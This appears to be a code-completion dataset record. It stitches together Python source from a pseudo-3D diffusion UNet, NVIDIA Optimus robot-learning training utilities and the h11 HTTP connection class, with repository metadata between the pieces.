use_linear_projection=use_linear_projection, only_cross_attention=only_cross_attention[i], upcast_attention=upcast_attention, resnet_time_scale_shift=resnet_time_scale_shift, model_config=kwargs_copy ) self.up_blocks.append(up_block) prev_output_channel = output_channel # out self.conv_norm_out = nn.GroupNorm( num_channels=block_out_channels[0], num_groups=norm_num_groups, eps=norm_eps ) self.conv_act = nn.SiLU() self.conv_out = PseudoConv3d(block_out_channels[0], out_channels, kernel_size=3, padding=1, model_config=kwargs) def set_attention_slice(self, slice_size): r""" Enable sliced attention computation. When this option is enabled, the attention module will split the input tensor in slices, to compute attention in several steps. This is useful to save some memory in exchange for a small speed decrease. Args: slice_size (`str` or `int` or `list(int)`, *optional*, defaults to `"auto"`): When `"auto"`, halves the input to the attention heads, so attention will be computed in two steps. If `"max"`, maxium amount of memory will be saved by running only one slice at a time. If a number is provided, uses as many slices as `attention_head_dim // slice_size`. In this case, `attention_head_dim` must be a multiple of `slice_size`. """ sliceable_head_dims = [] def fn_recursive_retrieve_slicable_dims(module: torch.nn.Module): if hasattr(module, "set_attention_slice"): sliceable_head_dims.append(module.sliceable_head_dim) for child in module.children(): fn_recursive_retrieve_slicable_dims(child) # retrieve number of attention layers for module in self.children(): fn_recursive_retrieve_slicable_dims(module) num_slicable_layers = len(sliceable_head_dims) if slice_size == "auto": # half the attention head size is usually a good trade-off between # speed and memory slice_size = [dim // 2 for dim in sliceable_head_dims] elif slice_size == "max": # make smallest slice possible slice_size = num_slicable_layers * [1] slice_size = ( num_slicable_layers * [slice_size] if not isinstance(slice_size, list) else slice_size ) if len(slice_size) != len(sliceable_head_dims): raise ValueError( f"You have provided {len(slice_size)}, but {self.config} has {len(sliceable_head_dims)} different" f" attention layers. Make sure to match `len(slice_size)` to be {len(sliceable_head_dims)}." ) for i in range(len(slice_size)): size = slice_size[i] dim = sliceable_head_dims[i] if size is not None and size > dim: raise ValueError(f"size {size} has to be smaller or equal to {dim}.") # Recursively walk through all the children. # Any children which exposes the set_attention_slice method # gets the message def fn_recursive_set_attention_slice(module: torch.nn.Module, slice_size: List[int]): if hasattr(module, "set_attention_slice"): module.set_attention_slice(slice_size.pop()) for child in module.children(): fn_recursive_set_attention_slice(child, slice_size) reversed_slice_size = list(reversed(slice_size)) for module in self.children(): fn_recursive_set_attention_slice(module, reversed_slice_size) def _set_gradient_checkpointing(self, module, value=False): if isinstance( module,
# code mostly taken from https://github.com/huggingface/diffusers logger = logging.get_logger(__name__) # pylint: disable=invalid-name @dataclass class UNetPseudo3DConditionOutput(BaseOutput): sample: torch.FloatTensor class UNetPseudo3DConditionModel(ModelMixin, ConfigMixin): _supports_gradient_checkpointing = True @register_to_config def __init__( self, sample_size: Optional[int] = None, in_channels: int = 4, out_channels: int = 4, center_input_sample: bool = False, flip_sin_to_cos: bool = True, freq_shift: int = 0, down_block_types: Tuple[str] = ( "CrossAttnDownBlockPseudo3D", "CrossAttnDownBlockPseudo3D", "CrossAttnDownBlockPseudo3D", "DownBlockPseudo3D", ), mid_block_type: str = "UNetMidBlockPseudo3DCrossAttn", up_block_types: Tuple[str] = ( "UpBlockPseudo3D", "CrossAttnUpBlockPseudo3D", "CrossAttnUpBlockPseudo3D", "CrossAttnUpBlockPseudo3D", ), only_cross_attention: Union[bool, Tuple[bool]] = False, block_out_channels: Tuple[int] = (320, 640, 1280, 1280), layers_per_block: int = 2, downsample_padding: int = 1, mid_block_scale_factor: float = 1, act_fn: str = "silu", norm_num_groups: int = 32, norm_eps: float = 1e-5, cross_attention_dim: int = 1280, attention_head_dim: Union[int, Tuple[int]] = 8, dual_cross_attention: bool = False, use_linear_projection: bool = False, class_embed_type: Optional[str] = None, num_class_embeds: Optional[int] = None, upcast_attention: bool = False, resnet_time_scale_shift: str = "default", **kwargs ): super().__init__() self.sample_size = sample_size time_embed_dim = block_out_channels[0] * 4 if 'temporal_downsample' in kwargs and kwargs['temporal_downsample'] is True: kwargs['temporal_downsample_time'] = 3 self.temporal_downsample_time = kwargs.get('temporal_downsample_time', 0) # input self.conv_in = PseudoConv3d(in_channels, block_out_channels[0], kernel_size=3, padding=(1, 1), model_config=kwargs) # time self.time_proj = Timesteps(block_out_channels[0], flip_sin_to_cos, freq_shift) timestep_input_dim = block_out_channels[0] self.time_embedding = TimestepEmbedding(timestep_input_dim, time_embed_dim) # class embedding if class_embed_type is None and num_class_embeds is not None: self.class_embedding = nn.Embedding(num_class_embeds, time_embed_dim) elif class_embed_type == "timestep": self.class_embedding = TimestepEmbedding(timestep_input_dim, time_embed_dim) elif class_embed_type == "identity": self.class_embedding = nn.Identity(time_embed_dim, time_embed_dim) else: self.class_embedding = None self.down_blocks = nn.ModuleList([]) self.mid_block = None self.up_blocks = nn.ModuleList([]) if isinstance(only_cross_attention, bool): only_cross_attention = [only_cross_attention] * len(down_block_types) if isinstance(attention_head_dim, int): attention_head_dim = (attention_head_dim,) * len(down_block_types) # down output_channel = block_out_channels[0] for i, down_block_type in enumerate(down_block_types): input_channel = output_channel output_channel = block_out_channels[i] is_final_block = i == len(block_out_channels) - 1 kwargs_copy=copy.deepcopy(kwargs) temporal_downsample_i = ((i >= (len(down_block_types)-self.temporal_downsample_time)) and (not is_final_block)) kwargs_copy.update({'temporal_downsample': temporal_downsample_i} ) # kwargs_copy.update({'SparseCausalAttention_index': temporal_downsample_i} ) if temporal_downsample_i: print(f'Initialize model temporal downsample at layer {i}') down_block = get_down_block( down_block_type, num_layers=layers_per_block, in_channels=input_channel, out_channels=output_channel, temb_channels=time_embed_dim, add_downsample=not is_final_block, resnet_eps=norm_eps, resnet_act_fn=act_fn, resnet_groups=norm_num_groups, cross_attention_dim=cross_attention_dim, attn_num_head_channels=attention_head_dim[i], downsample_padding=downsample_padding, dual_cross_attention=dual_cross_attention, use_linear_projection=use_linear_projection, only_cross_attention=only_cross_attention[i], upcast_attention=upcast_attention, resnet_time_scale_shift=resnet_time_scale_shift, model_config=kwargs_copy ) self.down_blocks.append(down_block) # mid if mid_block_type == "UNetMidBlockPseudo3DCrossAttn": self.mid_block = UNetMidBlockPseudo3DCrossAttn( in_channels=block_out_channels[-1], temb_channels=time_embed_dim, resnet_eps=norm_eps, resnet_act_fn=act_fn, output_scale_factor=mid_block_scale_factor, resnet_time_scale_shift=resnet_time_scale_shift, cross_attention_dim=cross_attention_dim, attn_num_head_channels=attention_head_dim[-1], resnet_groups=norm_num_groups, dual_cross_attention=dual_cross_attention, use_linear_projection=use_linear_projection, upcast_attention=upcast_attention, model_config=kwargs ) else: raise ValueError(f"unknown mid_block_type : {mid_block_type}") # count how many layers upsample the images self.num_upsamplers = 0 # up reversed_block_out_channels = list(reversed(block_out_channels)) reversed_attention_head_dim = list(reversed(attention_head_dim)) only_cross_attention = list(reversed(only_cross_attention)) output_channel = reversed_block_out_channels[0] for i, up_block_type in enumerate(up_block_types): is_final_block = i == len(block_out_channels) - 1 prev_output_channel = output_channel output_channel = reversed_block_out_channels[i] input_channel = reversed_block_out_channels[min(i + 1, len(block_out_channels) - 1)] # add upsample block for all BUT final layer if not is_final_block: add_upsample = True self.num_upsamplers += 1 else: add_upsample = False kwargs_copy=copy.deepcopy(kwargs) kwargs_copy.update({'temporal_downsample': i < (self.temporal_downsample_time-1)}) if i < (self.temporal_downsample_time-1): print(f'Initialize model temporal updample at layer {i}') up_block = get_up_block( up_block_type, num_layers=layers_per_block + 1, in_channels=input_channel, out_channels=output_channel, prev_output_channel=prev_output_channel, temb_channels=time_embed_dim, add_upsample=add_upsample, resnet_eps=norm_eps, resnet_act_fn=act_fn, resnet_groups=norm_num_groups, cross_attention_dim=cross_attention_dim, attn_num_head_channels=reversed_attention_head_dim[i], dual_cross_attention=dual_cross_attention, use_linear_projection=use_linear_projection, only_cross_attention=only_cross_attention[i], upcast_attention=upcast_attention, resnet_time_scale_shift=resnet_time_scale_shift, model_config=kwargs_copy ) self.up_blocks.append(up_block) prev_output_channel = output_channel # out self.conv_norm_out = nn.GroupNorm( num_channels=block_out_channels[0], num_groups=norm_num_groups, eps=norm_eps ) self.conv_act = nn.SiLU() self.conv_out = PseudoConv3d(block_out_channels[0], out_channels, kernel_size=3, padding=1, model_config=kwargs) def set_attention_slice(self, slice_size): r""" Enable sliced attention computation. When this option is enabled, the attention module will split the input tensor in slices, to compute attention in several steps. This is useful to save some memory in exchange for a small speed decrease. Args: slice_size (`str` or `int` or `list(int)`, *optional*, defaults to `"auto"`): When `"auto"`, halves the input to the attention heads, so attention will be computed in two steps. If `"max"`, maxium amount of memory will be saved by running only one slice at a time. If a number is provided, uses as many slices as `attention_head_dim // slice_size`. In this case, `attention_head_dim` must be a multiple of `slice_size`. """ sliceable_head_dims = [] def fn_recursive_retrieve_slicable_dims(module: torch.nn.Module): if hasattr(module, "set_attention_slice"): sliceable_head_dims.append(module.sliceable_head_dim) for child in module.children(): fn_recursive_retrieve_slicable_dims(child) # retrieve number of attention layers for module in self.children(): fn_recursive_retrieve_slicable_dims(module) num_slicable_layers = len(sliceable_head_dims) if slice_size == "auto": # half the attention head size is usually a good trade-off between # speed and memory slice_size = [dim // 2 for dim in sliceable_head_dims] elif slice_size == "max": # make smallest slice possible slice_size = num_slicable_layers * [1] slice_size = ( num_slicable_layers * [slice_size] if not isinstance(slice_size, list) else slice_size ) if len(slice_size) != len(sliceable_head_dims): raise ValueError( f"You have provided {len(slice_size)}, but {self.config} has {len(sliceable_head_dims)} different" f" attention layers. Make sure to match `len(slice_size)` to be {len(sliceable_head_dims)}." ) for i in range(len(slice_size)): size = slice_size[i] dim = sliceable_head_dims[i] if size is not None and size > dim: raise ValueError(f"size {size} has to be smaller or equal to {dim}.") # Recursively walk through all the children. # Any children which exposes the set_attention_slice method # gets the message def fn_recursive_set_attention_slice(module: torch.nn.Module, slice_size: List[int]): if hasattr(module, "set_attention_slice"): module.set_attention_slice(slice_size.pop()) for child in module.children(): fn_recursive_set_attention_slice(child, slice_size) reversed_slice_size = list(reversed(slice_size)) for module in self.children(): fn_recursive_set_attention_slice(module, reversed_slice_size) def _set_gradient_checkpointing(self, module, value=False): if isinstance( module,
(CrossAttnDownBlockPseudo3D, DownBlockPseudo3D, CrossAttnUpBlockPseudo3D, UpBlockPseudo3D),
4
2023-10-09 14:38:28+00:00
12k
NVlabs/Optimus
optimus/utils/train_utils.py
[ { "identifier": "config_factory", "path": "optimus/config/base_config.py", "snippet": "def config_factory(algo_name, dic=None):\n \"\"\"\n Creates an instance of a config from the algo name. Optionally pass\n a dictionary to instantiate the config from the dictionary.\n \"\"\"\n if algo_n...
import json import os import time import imageio import numpy as np import robomimic.utils.log_utils as LogUtils import optimus from collections import OrderedDict from robomimic.algo import RolloutPolicy from robomimic.utils.train_utils import * from optimus.config.base_config import config_factory from optimus.envs.wrappers import FrameStackWrapper from optimus.scripts.combine_hdf5 import global_dataset_updates, write_trajectory_to_dataset from optimus.utils.dataset import SequenceDataset
7,827
# tensorboard directory log_dir = os.path.join(base_output_dir, time_str, "logs") os.makedirs(log_dir) # video directory video_dir = os.path.join(base_output_dir, time_str, "videos") os.makedirs(video_dir) return log_dir, output_dir, video_dir, time_str def load_data_for_training(config, obs_keys): """ Data loading at the start of an algorithm. Args: config (BaseConfig instance): config object obs_keys (list): list of observation modalities that are required for training (this will inform the dataloader on what modalities to load) Returns: train_dataset (SequenceDataset instance): train dataset object valid_dataset (SequenceDataset instance): valid dataset object (only if using validation) """ # config can contain an attribute to filter on filter_by_attribute = config.train.hdf5_filter_key # load the dataset into memory if config.experiment.validate: train_dataset = dataset_factory(config, obs_keys, filter_by_attribute=filter_by_attribute) valid_dataset = dataset_factory(config, obs_keys, filter_by_attribute="valid") else: train_dataset = dataset_factory(config, obs_keys, filter_by_attribute=filter_by_attribute) valid_dataset = None return train_dataset, valid_dataset def dataset_factory(config, obs_keys, filter_by_attribute=None, dataset_path=None): """ Create a SequenceDataset instance to pass to a torch DataLoader. Args: config (BaseConfig instance): config object obs_keys (list): list of observation modalities that are required for training (this will inform the dataloader on what modalities to load) filter_by_attribute (str): if provided, use the provided filter key to select a subset of demonstration trajectories to load dataset_path (str): if provided, the SequenceDataset instance should load data from this dataset path. Defaults to config.train.data. Returns: dataset (SequenceDataset instance): dataset object """ if dataset_path is None: dataset_path = config.train.data ds_kwargs = dict( hdf5_path=dataset_path, obs_keys=obs_keys, dataset_keys=config.train.dataset_keys, load_next_obs=config.train.load_next_obs, frame_stack=config.train.frame_stack, seq_length=config.train.seq_length, pad_frame_stack=config.train.pad_frame_stack, pad_seq_length=config.train.pad_seq_length, get_pad_mask=False, goal_mode=config.train.goal_mode, hdf5_cache_mode=config.train.hdf5_cache_mode, hdf5_use_swmr=config.train.hdf5_use_swmr, hdf5_normalize_obs=config.train.hdf5_normalize_obs, filter_by_attribute=filter_by_attribute, transformer_enabled=config.algo.transformer.enabled, ) dataset = SequenceDataset(**ds_kwargs) return dataset def run_rollout( policy, env, horizon, use_goals=False, render=False, video_writer=None, video_skip=5, terminate_on_success=False, ): """ Runs a rollout in an environment with the current network parameters. Args: policy (RolloutPolicy instance): policy to use for rollouts. env (EnvBase instance): environment to use for rollouts. horizon (int): maximum number of steps to roll the agent out for use_goals (bool): if True, agent is goal-conditioned, so provide goal observations from env render (bool): if True, render the rollout to the screen video_writer (imageio Writer instance): if not None, use video writer object to append frames at rate given by @video_skip video_skip (int): how often to write video frame terminate_on_success (bool): if True, terminate episode early as soon as a success is encountered Returns: results (dict): dictionary containing return, success rate, etc. """ assert isinstance(policy, RolloutPolicy) assert ( isinstance(env, EnvBase) or isinstance(env.env, EnvBase)
# Copyright (c) 2023 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # # Licensed under the NVIDIA Source Code License [see LICENSE for details]. def get_exp_dir(config, auto_remove_exp_dir=False): """ Create experiment directory from config. If an identical experiment directory exists and @auto_remove_exp_dir is False (default), the function will prompt the user on whether to remove and replace it, or keep the existing one and add a new subdirectory with the new timestamp for the current run. Args: auto_remove_exp_dir (bool): if True, automatically remove the existing experiment folder if it exists at the same path. Returns: log_dir (str): path to created log directory (sub-folder in experiment directory) output_dir (str): path to created models directory (sub-folder in experiment directory) to store model checkpoints video_dir (str): path to video directory (sub-folder in experiment directory) to store rollout videos """ # timestamp for directory names t_now = time.time() time_str = datetime.datetime.fromtimestamp(t_now).strftime("%Y%m%d%H%M%S") # create directory for where to dump model parameters, tensorboard logs, and videos base_output_dir = config.train.output_dir if not os.path.isabs(base_output_dir): # relative paths are specified relative to optimus module location base_output_dir = os.path.join(optimus.__path__[0], '../'+base_output_dir) base_output_dir = os.path.join(base_output_dir, config.experiment.name) if os.path.exists(base_output_dir): if not auto_remove_exp_dir: ans = input( "WARNING: model directory ({}) already exists! \noverwrite? (y/n)\n".format( base_output_dir ) ) else: ans = "y" if ans == "y": print("REMOVING") shutil.rmtree(base_output_dir) # only make model directory if model saving is enabled output_dir = None if config.experiment.save.enabled: output_dir = os.path.join(base_output_dir, time_str, "models") os.makedirs(output_dir) # tensorboard directory log_dir = os.path.join(base_output_dir, time_str, "logs") os.makedirs(log_dir) # video directory video_dir = os.path.join(base_output_dir, time_str, "videos") os.makedirs(video_dir) return log_dir, output_dir, video_dir, time_str def load_data_for_training(config, obs_keys): """ Data loading at the start of an algorithm. Args: config (BaseConfig instance): config object obs_keys (list): list of observation modalities that are required for training (this will inform the dataloader on what modalities to load) Returns: train_dataset (SequenceDataset instance): train dataset object valid_dataset (SequenceDataset instance): valid dataset object (only if using validation) """ # config can contain an attribute to filter on filter_by_attribute = config.train.hdf5_filter_key # load the dataset into memory if config.experiment.validate: train_dataset = dataset_factory(config, obs_keys, filter_by_attribute=filter_by_attribute) valid_dataset = dataset_factory(config, obs_keys, filter_by_attribute="valid") else: train_dataset = dataset_factory(config, obs_keys, filter_by_attribute=filter_by_attribute) valid_dataset = None return train_dataset, valid_dataset def dataset_factory(config, obs_keys, filter_by_attribute=None, dataset_path=None): """ Create a SequenceDataset instance to pass to a torch DataLoader. Args: config (BaseConfig instance): config object obs_keys (list): list of observation modalities that are required for training (this will inform the dataloader on what modalities to load) filter_by_attribute (str): if provided, use the provided filter key to select a subset of demonstration trajectories to load dataset_path (str): if provided, the SequenceDataset instance should load data from this dataset path. Defaults to config.train.data. Returns: dataset (SequenceDataset instance): dataset object """ if dataset_path is None: dataset_path = config.train.data ds_kwargs = dict( hdf5_path=dataset_path, obs_keys=obs_keys, dataset_keys=config.train.dataset_keys, load_next_obs=config.train.load_next_obs, frame_stack=config.train.frame_stack, seq_length=config.train.seq_length, pad_frame_stack=config.train.pad_frame_stack, pad_seq_length=config.train.pad_seq_length, get_pad_mask=False, goal_mode=config.train.goal_mode, hdf5_cache_mode=config.train.hdf5_cache_mode, hdf5_use_swmr=config.train.hdf5_use_swmr, hdf5_normalize_obs=config.train.hdf5_normalize_obs, filter_by_attribute=filter_by_attribute, transformer_enabled=config.algo.transformer.enabled, ) dataset = SequenceDataset(**ds_kwargs) return dataset def run_rollout( policy, env, horizon, use_goals=False, render=False, video_writer=None, video_skip=5, terminate_on_success=False, ): """ Runs a rollout in an environment with the current network parameters. Args: policy (RolloutPolicy instance): policy to use for rollouts. env (EnvBase instance): environment to use for rollouts. horizon (int): maximum number of steps to roll the agent out for use_goals (bool): if True, agent is goal-conditioned, so provide goal observations from env render (bool): if True, render the rollout to the screen video_writer (imageio Writer instance): if not None, use video writer object to append frames at rate given by @video_skip video_skip (int): how often to write video frame terminate_on_success (bool): if True, terminate episode early as soon as a success is encountered Returns: results (dict): dictionary containing return, success rate, etc. """ assert isinstance(policy, RolloutPolicy) assert ( isinstance(env, EnvBase) or isinstance(env.env, EnvBase)
or isinstance(env, FrameStackWrapper)
1
2023-10-10 00:48:42+00:00
12k
mlpc-ucsd/MasQCLIP
train_net.py
[ { "identifier": "add_maskformer2_config", "path": "masqclip/config.py", "snippet": "def add_maskformer2_config(cfg):\n \"\"\"\n Add config for MASK_FORMER.\n \"\"\"\n # NOTE: configs from original maskformer\n # data config\n # select the dataset mapper\n cfg.INPUT.DATASET_MAPPER_NA...
import copy import itertools import logging import os import torch import detectron2.utils.comm as comm import warnings from collections import OrderedDict from typing import Any, Dict, List, Set from detectron2.checkpoint import DetectionCheckpointer from detectron2.config import get_cfg from detectron2.data import MetadataCatalog, build_detection_train_loader from detectron2.engine import ( DefaultTrainer, default_argument_parser, default_setup, launch, ) from detectron2.evaluation import ( CityscapesInstanceEvaluator, CityscapesSemSegEvaluator, COCOEvaluator, COCOPanopticEvaluator, DatasetEvaluators, LVISEvaluator, SemSegEvaluator, verify_results, ) from detectron2.projects.deeplab import add_deeplab_config, build_lr_scheduler from detectron2.solver.build import maybe_add_gradient_clipping from detectron2.utils.logger import setup_logger from masqclip import ( COCOInstanceNewBaselineDatasetMapper, COCOPanopticNewBaselineDatasetMapper, InstanceSegEvaluator, MaskFormerInstanceDatasetMapper, MaskFormerPanopticDatasetMapper, MaskFormerSemanticDatasetMapper, SemanticSegmentorWithTTA, add_maskformer2_config, add_masqclip_config, )
10,681
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved """ MasQCLIP Training Script. """ # MasQCLIP warnings.filterwarnings("ignore") class Trainer(DefaultTrainer): """ Extension of the Trainer class adapted to MaskFormer. """ @classmethod def build_evaluator(cls, cfg, dataset_name, output_folder=None): """ Create evaluator(s) for a given dataset. This uses the special metadata "evaluator_type" associated with each builtin dataset. For your own dataset, you can simply create an evaluator manually in your script and do not have to worry about the hacky if-else logic here. """ if output_folder is None: output_folder = os.path.join(cfg.OUTPUT_DIR, "inference") evaluator_list = [] evaluator_type = MetadataCatalog.get(dataset_name).evaluator_type # semantic segmentation if evaluator_type in ["sem_seg", "ade20k_panoptic_seg"]: evaluator_list.append( SemSegEvaluator( dataset_name, distributed=True, output_dir=output_folder, ) ) # instance segmentation if evaluator_type == "coco": evaluator_list.append(COCOEvaluator(dataset_name, output_dir=output_folder)) # panoptic segmentation if evaluator_type in [ "coco_panoptic_seg", "ade20k_panoptic_seg", "cityscapes_panoptic_seg", "mapillary_vistas_panoptic_seg", ]: if cfg.MODEL.MASK_FORMER.TEST.PANOPTIC_ON: evaluator_list.append(COCOPanopticEvaluator(dataset_name, output_folder)) # COCO if evaluator_type == "coco_panoptic_seg" and cfg.MODEL.MASK_FORMER.TEST.INSTANCE_ON: evaluator_list.append(COCOEvaluator(dataset_name, output_dir=output_folder)) if evaluator_type == "coco_panoptic_seg" and cfg.MODEL.MASK_FORMER.TEST.SEMANTIC_ON: evaluator_list.append(SemSegEvaluator(dataset_name, distributed=True, output_dir=output_folder)) # Mapillary Vistas if evaluator_type == "mapillary_vistas_panoptic_seg" and cfg.MODEL.MASK_FORMER.TEST.INSTANCE_ON:
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved """ MasQCLIP Training Script. """ # MasQCLIP warnings.filterwarnings("ignore") class Trainer(DefaultTrainer): """ Extension of the Trainer class adapted to MaskFormer. """ @classmethod def build_evaluator(cls, cfg, dataset_name, output_folder=None): """ Create evaluator(s) for a given dataset. This uses the special metadata "evaluator_type" associated with each builtin dataset. For your own dataset, you can simply create an evaluator manually in your script and do not have to worry about the hacky if-else logic here. """ if output_folder is None: output_folder = os.path.join(cfg.OUTPUT_DIR, "inference") evaluator_list = [] evaluator_type = MetadataCatalog.get(dataset_name).evaluator_type # semantic segmentation if evaluator_type in ["sem_seg", "ade20k_panoptic_seg"]: evaluator_list.append( SemSegEvaluator( dataset_name, distributed=True, output_dir=output_folder, ) ) # instance segmentation if evaluator_type == "coco": evaluator_list.append(COCOEvaluator(dataset_name, output_dir=output_folder)) # panoptic segmentation if evaluator_type in [ "coco_panoptic_seg", "ade20k_panoptic_seg", "cityscapes_panoptic_seg", "mapillary_vistas_panoptic_seg", ]: if cfg.MODEL.MASK_FORMER.TEST.PANOPTIC_ON: evaluator_list.append(COCOPanopticEvaluator(dataset_name, output_folder)) # COCO if evaluator_type == "coco_panoptic_seg" and cfg.MODEL.MASK_FORMER.TEST.INSTANCE_ON: evaluator_list.append(COCOEvaluator(dataset_name, output_dir=output_folder)) if evaluator_type == "coco_panoptic_seg" and cfg.MODEL.MASK_FORMER.TEST.SEMANTIC_ON: evaluator_list.append(SemSegEvaluator(dataset_name, distributed=True, output_dir=output_folder)) # Mapillary Vistas if evaluator_type == "mapillary_vistas_panoptic_seg" and cfg.MODEL.MASK_FORMER.TEST.INSTANCE_ON:
evaluator_list.append(InstanceSegEvaluator(dataset_name, output_dir=output_folder))
8
2023-10-13 02:43:53+00:00
12k
Ravi-Teja-konda/OSGPT
myenv/Lib/site-packages/h11/_connection.py
[ { "identifier": "ConnectionClosed", "path": "myenv/Lib/site-packages/h11/_events.py", "snippet": "class ConnectionClosed(Event):\n \"\"\"This event indicates that the sender has closed their outgoing\n connection.\n\n Note that this does not necessarily mean that they can't *receive* further\n ...
from typing import Any, Callable, cast, Dict, List, Optional, Tuple, Type, Union from ._events import ( ConnectionClosed, Data, EndOfMessage, Event, InformationalResponse, Request, Response, ) from ._headers import get_comma_header, has_expect_100_continue, set_comma_header from ._readers import READERS, ReadersType from ._receivebuffer import ReceiveBuffer from ._state import ( _SWITCH_CONNECT, _SWITCH_UPGRADE, CLIENT, ConnectionState, DONE, ERROR, MIGHT_SWITCH_PROTOCOL, SEND_BODY, SERVER, SWITCHED_PROTOCOL, ) from ._util import ( # Import the internal things we need LocalProtocolError, RemoteProtocolError, Sentinel, ) from ._writers import WRITERS, WritersType
10,071
See :ref:`switching-protocols` for discussion of why you'd want this. """ return (bytes(self._receive_buffer), self._receive_buffer_closed) def receive_data(self, data: bytes) -> None: """Add data to our internal receive buffer. This does not actually do any processing on the data, just stores it. To trigger processing, you have to call :meth:`next_event`. Args: data (:term:`bytes-like object`): The new data that was just received. Special case: If *data* is an empty byte-string like ``b""``, then this indicates that the remote side has closed the connection (end of file). Normally this is convenient, because standard Python APIs like :meth:`file.read` or :meth:`socket.recv` use ``b""`` to indicate end-of-file, while other failures to read are indicated using other mechanisms like raising :exc:`TimeoutError`. When using such an API you can just blindly pass through whatever you get from ``read`` to :meth:`receive_data`, and everything will work. But, if you have an API where reading an empty string is a valid non-EOF condition, then you need to be aware of this and make sure to check for such strings and avoid passing them to :meth:`receive_data`. Returns: Nothing, but after calling this you should call :meth:`next_event` to parse the newly received data. Raises: RuntimeError: Raised if you pass an empty *data*, indicating EOF, and then pass a non-empty *data*, indicating more data that somehow arrived after the EOF. (Calling ``receive_data(b"")`` multiple times is fine, and equivalent to calling it once.) """ if data: if self._receive_buffer_closed: raise RuntimeError("received close, then received more data?") self._receive_buffer += data else: self._receive_buffer_closed = True def _extract_next_receive_event( self, ) -> Union[Event, Type[NEED_DATA], Type[PAUSED]]: state = self.their_state # We don't pause immediately when they enter DONE, because even in # DONE state we can still process a ConnectionClosed() event. But # if we have data in our buffer, then we definitely aren't getting # a ConnectionClosed() immediately and we need to pause. if state is DONE and self._receive_buffer: return PAUSED if state is MIGHT_SWITCH_PROTOCOL or state is SWITCHED_PROTOCOL: return PAUSED assert self._reader is not None event = self._reader(self._receive_buffer) if event is None: if not self._receive_buffer and self._receive_buffer_closed: # In some unusual cases (basically just HTTP/1.0 bodies), EOF # triggers an actual protocol event; in that case, we want to # return that event, and then the state will change and we'll # get called again to generate the actual ConnectionClosed(). if hasattr(self._reader, "read_eof"): event = self._reader.read_eof() # type: ignore[attr-defined] else: event = ConnectionClosed() if event is None: event = NEED_DATA return event # type: ignore[no-any-return] def next_event(self) -> Union[Event, Type[NEED_DATA], Type[PAUSED]]: """Parse the next event out of our receive buffer, update our internal state, and return it. This is a mutating operation -- think of it like calling :func:`next` on an iterator. Returns: : One of three things: 1) An event object -- see :ref:`events`. 2) The special constant :data:`NEED_DATA`, which indicates that you need to read more data from your socket and pass it to :meth:`receive_data` before this method will be able to return any more events. 3) The special constant :data:`PAUSED`, which indicates that we are not in a state where we can process incoming data (usually because the peer has finished their part of the current request/response cycle, and you have not yet called :meth:`start_next_cycle`). See :ref:`flow-control` for details. Raises: RemoteProtocolError: The peer has misbehaved. You should close the connection (possibly after sending some kind of 4xx response). Once this method returns :class:`ConnectionClosed` once, then all subsequent calls will also return :class:`ConnectionClosed`. If this method raises any exception besides :exc:`RemoteProtocolError` then that's a bug -- if it happens please file a bug report! If this method raises any exception then it also sets :attr:`Connection.their_state` to :data:`ERROR` -- see :ref:`error-handling` for discussion. """ if self.their_state is ERROR:
# This contains the main Connection class. Everything in h11 revolves around # this. # Everything in __all__ gets re-exported as part of the h11 public API. __all__ = ["Connection", "NEED_DATA", "PAUSED"] class NEED_DATA(Sentinel, metaclass=Sentinel): pass class PAUSED(Sentinel, metaclass=Sentinel): pass # If we ever have this much buffered without it making a complete parseable # event, we error out. The only time we really buffer is when reading the # request/response line + headers together, so this is effectively the limit on # the size of that. # # Some precedents for defaults: # - node.js: 80 * 1024 # - tomcat: 8 * 1024 # - IIS: 16 * 1024 # - Apache: <8 KiB per line> DEFAULT_MAX_INCOMPLETE_EVENT_SIZE = 16 * 1024 # RFC 7230's rules for connection lifecycles: # - If either side says they want to close the connection, then the connection # must close. # - HTTP/1.1 defaults to keep-alive unless someone says Connection: close # - HTTP/1.0 defaults to close unless both sides say Connection: keep-alive # (and even this is a mess -- e.g. if you're implementing a proxy then # sending Connection: keep-alive is forbidden). # # We simplify life by simply not supporting keep-alive with HTTP/1.0 peers. So # our rule is: # - If someone says Connection: close, we will close # - If someone uses HTTP/1.0, we will close. def _keep_alive(event: Union[Request, Response]) -> bool: connection = get_comma_header(event.headers, b"connection") if b"close" in connection: return False if getattr(event, "http_version", b"1.1") < b"1.1": return False return True def _body_framing( request_method: bytes, event: Union[Request, Response] ) -> Tuple[str, Union[Tuple[()], Tuple[int]]]: # Called when we enter SEND_BODY to figure out framing information for # this body. # # These are the only two events that can trigger a SEND_BODY state: assert type(event) in (Request, Response) # Returns one of: # # ("content-length", count) # ("chunked", ()) # ("http/1.0", ()) # # which are (lookup key, *args) for constructing body reader/writer # objects. # # Reference: https://tools.ietf.org/html/rfc7230#section-3.3.3 # # Step 1: some responses always have an empty body, regardless of what the # headers say. if type(event) is Response: if ( event.status_code in (204, 304) or request_method == b"HEAD" or (request_method == b"CONNECT" and 200 <= event.status_code < 300) ): return ("content-length", (0,)) # Section 3.3.3 also lists another case -- responses with status_code # < 200. For us these are InformationalResponses, not Responses, so # they can't get into this function in the first place. assert event.status_code >= 200 # Step 2: check for Transfer-Encoding (T-E beats C-L): transfer_encodings = get_comma_header(event.headers, b"transfer-encoding") if transfer_encodings: assert transfer_encodings == [b"chunked"] return ("chunked", ()) # Step 3: check for Content-Length content_lengths = get_comma_header(event.headers, b"content-length") if content_lengths: return ("content-length", (int(content_lengths[0]),)) # Step 4: no applicable headers; fallback/default depends on type if type(event) is Request: return ("content-length", (0,)) else: return ("http/1.0", ()) ################################################################ # # The main Connection class # ################################################################ class Connection: """An object encapsulating the state of an HTTP connection. Args: our_role: If you're implementing a client, pass :data:`h11.CLIENT`. If you're implementing a server, pass :data:`h11.SERVER`. max_incomplete_event_size (int): The maximum number of bytes we're willing to buffer of an incomplete event. In practice this mostly sets a limit on the maximum size of the request/response line + headers. If this is exceeded, then :meth:`next_event` will raise :exc:`RemoteProtocolError`. """ def __init__( self, our_role: Type[Sentinel], max_incomplete_event_size: int = DEFAULT_MAX_INCOMPLETE_EVENT_SIZE, ) -> None: self._max_incomplete_event_size = max_incomplete_event_size # State and role tracking if our_role not in (CLIENT, SERVER): raise ValueError("expected CLIENT or SERVER, not {!r}".format(our_role)) self.our_role = our_role self.their_role: Type[Sentinel] if our_role is CLIENT: self.their_role = SERVER else: self.their_role = CLIENT self._cstate = ConnectionState() # Callables for converting data->events or vice-versa given the # current state self._writer = 